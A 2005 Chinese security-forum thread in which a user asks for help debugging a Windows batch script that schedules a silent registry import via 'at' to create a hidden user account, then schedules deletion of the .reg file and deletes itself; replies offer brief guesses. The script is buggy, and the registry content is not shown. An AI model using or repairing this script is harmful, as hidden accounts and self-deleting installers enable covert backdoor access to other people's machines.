发新话题
打印

[讨论]用批处理加隐藏帐户时的错误

[讨论]用批处理加隐藏帐户时的错误

议题提交:adly
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

最近我想利用批处理来做一个自动生成REG文件,但出了问题:

@for /f "tokens=1,2 delims=:" %%a in ('time /t') do @set hh=%%a&&@set mi=%%b
@if %mi%==59 goto a
@set /a hh1=%hh%
@set /a mi1=%mi%+1
@goto b
:a
@set /a hh1=%hh%+1
@set /a mi1=0
:b
@at %hh1%:%mi1% "regedit /s rjh.reg"
@if %mi%==59 goto c
@if %mi%==58 goto d
@set /a hh2=%hh%
@set /a mi2=%mi%+2
:d
@set /a hh2=%hh%+1
@set /a mi2=0
:c
@set /a hh2=%hh%+1
@set /a mi2=1
@at %hh2%:%mi2% del "rjh.reg /f /q"
@del rjh.bat /f /q


不知道错在哪儿,请各位帮一下忙好吗?


编写隐藏用户的批处理思路:



前期准备(比如:生成REG文件)
for /f "tokens=1,2 delims=:" %%a in ('time /t') do @set hh=%%a&&@set mi=%%b
if %mi%==59 goto a
set /a hh1=%hh%
set /a mi1=%mi%+1
goto b
:a
set /a hh1=%hh%+1
set /a mi1=0
set /a flag1="tru"
:b
at %hh1%:%mi1% "regedit /s 要导入的REG文件"
if %flag1%=="tru" goto c
if %mi%==58 goto d
set /a hh2=%hh%
set /a mi2=%mi%+2
:d
set /a hh2=%hh%+1
set /a mi2=0
:c
set /a hh2=%hh%+1
set /a mi2=1
at %hh2%:%mi2% "del 要导入的REG文件"
del 本批处理文件




Adly
QQ:369046978
2005年12月17日

TOP

隐藏帐户
用管理屬性那出錯.

TOP

管理属性出错?
具体是哪个位置出错啊,? 我调试的时候,好像是在at命令处有问题,不过我的机子的at命令好像也有问题,所以,我不知道具体出错的位置!

TOP

隐藏帐户
用管理屬性那出錯.

TOP

发新话题